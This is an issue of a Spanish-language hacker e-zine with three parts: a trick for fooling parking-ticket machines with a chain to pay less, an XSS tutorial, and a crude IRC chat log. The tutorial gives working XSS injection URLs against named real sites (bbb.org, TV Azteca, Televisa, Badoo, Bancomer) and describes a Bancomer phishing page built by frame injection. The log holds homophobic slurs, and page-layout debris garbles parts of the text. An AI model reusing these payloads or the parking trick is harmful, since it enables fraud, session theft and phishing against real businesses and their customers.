Muchos de nosotros hemos utilizado el acceso a los estacionamientos de plazas o centros comerciales, los cuales muchas veces al estar el vehículo frente a la “boletera” nos da automáticamente el boleto o tenemos que apretar el botón y tomarlo. Bueno, ahora veremos la forma sencilla de sacar los boletos sin utilizar un auto evitando así el anti-passback, con esto podemos por ejemplo sacar otro boleto y pagar menos de el tiempo que estuvimos realmente dentro del estacionamiento, por si extraviamos el boleto, etc..(Espero que no se preste para robo de autos). Tan solo necesitamos un metal de al menos un metro de largo, como pudiera ser una cadena, la cual es fácil de transportar en nuestro auto :P, casi enfrente de la boletera veremos un rectángulo en el piso en el cual hay un “lazo inductivo” que está conectado a un detector de masa metálica y este sirve para registrar la presencia de los autos. Cuando un auto se posa sobre ella se produce una variación en el valor de su inductancia lo cual es interpretado por el detector de masa metálica produciendo el accionamiento de una de sus salidas, en este caso para imprimir y expedir nuestro boleto. :D Es la función que hará nuestra cadena en este caso al arrastrarla a lo ancho del rectángulo y así hacernos de nuestro boleto.

1 2 # a n a c i x e a z Anti-passback: algunos lugares tienen cámaras que toman la placa del auto y si solo tomas el a R

boleto y retrocedes, automáticamente invalida el boleto haciendo este inútil a la hora de querer pagar.

Este sistema lo utilizan mucho en los semáforos para darle prioridad al sentido que tiene más vehículos.

Esto lo he comprobado en un centro comercial del norte de la Cd. De Mex. Entre Marina Nacional y Circuito Interior, uno de Av. Cuauhtémoc y Circuito Interior jejeje.

Gr33ts: el5patas, Nitr0us, hkm, Napa, Psymera, Arphanet, Rey Brujo, DeadSector, Kania, Darko, Alt3kx, PonchoWare, Crac, C31|4, Yas, la tamalera de la esquina, bla bla bla. << Regresar al índice


Por: Netxing ([email protected])

Bien lo dijo Marc Slemk: This issue isn't just about scripting, and there isn't necessarily anything cross-site about it. So why the name? It was coined earlier on when the problem was less understood, and it stuck. Believe me, we have had more important things to do than think of a better name. Todos los ejemplos descritos en este artículo fueron probados en Mozilla Firefox 3.6.3. Cross Site Scripting es un falla de seguridad generalmente encontrada en aplicaciones web,

históricamente un ataque XSS se conocía como aquel ataque donde se podía inyectar código script dentro de un sitio web, ahora las cosas han cambiado un XSS puede ser utilizado en los mismos navegadores o en un nivel de aplicación local. El principal problema con este tipo de ataque se encuentra en la mala validación de datos que pueden ser ingresados por el usuario de una manera completa o lógicamente insegura. Esto permite realizar ataques desde spoofing, XSRF , phishing hasta exploits e incluso es muy factible hacer XSS a los navegadores . Pero para cuando un sitio web se considera vulnerable a un ataque XSS puede conllevar a otro tipo de ataques, como SQL Injection. Los tipos de ataques XSS como dice el manual de Wikipedia se clasifican casi siempre de dos maneras: directa e indirectamente. Un ataque indirecto se puede realizar cuando los datos de una página inicio son enviados a una página receptora para ser procesados y en lo cual los valores de las variables pueden ser alterados, esto generalmente se lleva por medio de URL, cookies y hasta objetos DOM del navegador. Hay códigos que grandes empresas utilizan para crear sus sitios webs completamente “frameados” lo cual significa un riesgo considerable al momento de un ataque XSS. Un ataque directo está clasificado según el manual cuando se puede modificar el contenido HTML dentro de un sitio web, utilizando las etiquetas <script> o <iframe>. La parte técnica de ataques XSS 1 2 # a n a c i x e a z a R

Ataque combinado. Comencemos con el proceso más simple y muy usado en la red. Atacando lo sitios creados con frames/iframes, generalmente esto se hace pasando parámetros en la URL, ejemplo: http://www.ejemplo.com/make.asp?frame1=menu.html &frame2=arriba_frame.html

En este ejemplo tenemos un par de páginas, las cuales se pasan como parámetros para generar el sitio, si observamos y revisamos el código HTML del iframe o del frame, sabremos que el código invocador trabaja de esta manera: ... <iframe src="make.asp?frame1=menu.html&frame2=arriba_frame.html " frameborder="0" scrolling="auto"...> ...

Ahora, qué pasa si modificamos la URL quedando de esta manera: http://www.ejemplo.com/make.asp?frame1=” onload="alert('XSS')

El código inyectado al final quedaría: ... <iframe src="” onload="alert('XSS') " frameborder="0" scrolling="auto"...> ... Lo cual nos arrojaría un “alerta” al cargar la pagina:

Con esto obtenemos una inyección satisfactoria, lo cual podemos usar como inicio para poder inyectar código script. Otras páginas fácilmente de explotar son las que utilizan sistemas de búsqueda dentro del mismo sitio, pongamos de ejemplo la compañía BBB, la cual acredita a otras grandes compañías como “xoom.com” la cual permite enviar dinero electrónicamente a gran parte del mundo. Esta

compañía BBB, tiene un sistema de búsqueda con una falla XSS fácil de explotar: http://www.bbb.org/us/WWWRoot/Search.aspx?site=&s=%22%3E%3Cscript%3Ealert%28%27XSS %27%29%3C%2fscript%3E 1 2 # a n a c i x e a z a R

Otra falla grave para la explotación de XSS es el uso de un sistema de búsqueda el cual se puede conseguir por un proveedor alterno, ya sea comprado o gratuito, en este caso hablemos de las compañías Tvazteca o Televisa, que tienen el mismo sistema de búsqueda y por lo consiguiente la misma vulnerabilidad. http://www.tvazteca.com/search/index/index?q=%3Cscript%3Ealert%28%27XSS%27%29%3C/scri pt%3E

http://www.televisa.com/search/index.php?keyword=%3Cscript%3Ealert%28%27XSS%27%29%3C /script%3E

Ataques Directos Comiendo cookies

Una de las cosas más importantes cuando se usa un ataque XSS es poder obtener sesiones de un usuario validado dentro de algún sitio web, ya sea desde páginas sociales hasta sesiones bancarias. Como se explota esta vulnerabilidad? En mi sentido de investigación he llegado a la conclusión que se necesitarían dos cosas para que este ataque pueda llegar a tener éxito: 1.- Una sesión abierta. 2.- Una página bien establecida para el uso de alguna librería como cURL para g uardar/enviar la información en cache. Otro tipo de ataques se realizan en el sistema de consultas de los sitios, ejemplo: http://badoo.com/signup/?%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E

XSS en navegadores

Si te preguntas que tipo de técnica es esta, pues no es nueva y desde el inicio del uso de los navegadores esta es la forma que se ha utilizado el manejo de datos. Entiéndase hasta este punto que como en toda la rama de la seguridad informática, que no hay un navegador 100% seguro, no importando los filtros de protección XSS que se tenga, ni actualizaciones, marcas, modelos, estilos etc…

El porqué de esto es simple, para que un navegador fuera 100% seguro se ocuparía que este no recibiera datos… y aun así lo seguiría dudando… Este tipo de técnica no funciona de igual manera en todos los navegadores, pero la base es la misma, vayamos a los detalles. Revisemos rápidamente el esquema de cómo maneja la información un navegador usando el protocolo de datos. 1 2 # a n a c i x e a z a R

Sintaxis: data:[][;codificación],

Ejemplo: data:text/html;charset=utf-8,%3Cscript%3Ealert%28%22razamexicana%22%29%3B%3C%2fscript%3E

Si copiamos y pegamos este ejemplo en la barra de dirección de nuestro navegador veremos que también funciona, entonces tal vez podamos usarlo en código más complejo y se dice que es posible usarlo para ejecutar o pasar parámetros a otro tipo de programas desde el mismo navegador. XSS en el sitio de Bancomer “Adelante”

Así comenzó la historia… Dia 1, me retiraba a dormir con mi ultimo danonino en la mano, cuando una pequeña vibra sacudió mi curiosidad, ya que al revisar la pagina principal de Bancomer estaba completamente frameada dividida en 5 secciones, top, left, right, main y bottom... usando como referencia gobierno.asp como motor de creación de la página completa, me dije, un bug enorme, así que decidí pasarle unos parámetros para ver que hacia... http://www.bancomer.com/gobierno/gobierno.asp?mainf=http://www.razamexicana.org&rightf=http://foros.razamexicana.org&leftf=http://www.google.com&topf=http://milw0rm.com/

En este momento me di cuenta que mi danonino se acababa entonces, me decidí a hacerle un XSS simple, así que modifique los parámetros y quedaron así: http://www.bancomer.com/gobierno/gobierno.asp?mainf=http://www.razamexicana.org&topf=%22%20onload=%22alert%28%27XSS%27%29%22

Finalmente termine concluyendo… factible a phishing:

http://www.bancomer.com/persona/persona.asp?mainf=perso_creco.html&rightf=http://beta.ra za-mexicana.org/bancomer/perso_acceso_subhome.html Terminé de chingarme mi danonino y a dormir... Se agrega el archivo Advisory_bancomer.txt con todas las fallas encontradas. Se agrega el archivo tp.html el cual llego a usarse como validación para un gran número de formas y para creador de paginas html’s... validar tarjetas desde prepagadas hasta sams, honda, vida

Bancomer, suburbia.... Un saludo a los lectores y en especial a maxpower por su ayuda en la creación de la pagina fake 1 para el phishing. 2 # a n a c << Regresar al índice i x e a z a R

Por: STAFF ([email protected])

Siguiendo la tradición de mis antepasados editores, continuamos con una pequeña muestra de la maravillosa idiosincracia que prevalece en el canal #razamex. Logs cortesía de zhooter. ********** pues yo crei que wireless iba a hechar luz en la obscuridad de mi ignorancia pero termine viendo una manifestación hd changes topic to 'http://lopez-obrador.info/ : Con López Obrador todos los virus serían para Mac.' ay brujo, eres barrio, emprendedor y curandero, por que no te conoci antes voy a cometer fraudes electronicos nomas para desahogarme Con López Obrador el himno nacional tendría ritmo de pasito duranguense.

o sea que te haga la tarea, webon como le preguntas eso a un psicologo Los psicologos deben tener cultura general

mi gato acaba de atrapar un raton y se lo esta tragando enfrente de mi <--Pendejo, si ves que estan matando a tu familia, levanta las chingadas nalgas y has algo al respecto.

pero lo que mas rula es estar cagando agua amarilla con olor a ceftazidima y el pantalon que trae ahorita mi vecina, uyyy mi vecina 1 tomale fotos 2 # a a tu vecina puerco n a c i x e Que puto buen humor. Vengan cabrones hoy hasta siento que los quiero. a z a R

Yieldo que opinas que el auto increible sea ahora un shelby mustang??? Pinche a_d_mIRC, con tantos pedos mundiales, economia, altercados en paises africanos, seguridad, narcotrafico... y sales con esas colosales mamadas.

yo quisiera tener fashion el trasero Eres un hombre nuevo? Ya te metees estrogenos para que te salgan las lagrimas cuando ves las novelas del 2 abrazado con tu vieja?

tapulandia ya tiene un heroe!!!!! poioman poioman el poio justiciero!

rey_brujo ([email protected]) Quit ([irc.raza-mexicana.org] Local kill by DeadSector (saquese a la chingada por joto))

lastima que en mi tiempo de estudiante, no existia wikipedia ya existia internet?

yo opino que papas debe ser el proximo director tecnico de la seleccion mexicana fuck manpower, got raza-mexicana haz soñado que te coges a una pareja de enanos homosexuales? Inventaré un dispositivo USB que apuñale a quien usa IE.

1 2 hd cuando reviviste? # a n Ayer, querían revivir a Michael Jackson pero se les pasó de 1337ness la receta y salí yo a c i x e a z XDD ... me acaban de decir que pasaron o estuvieron los champiñones infectados a R

aqui en mi cuidad

Raza 021

Recommend Documents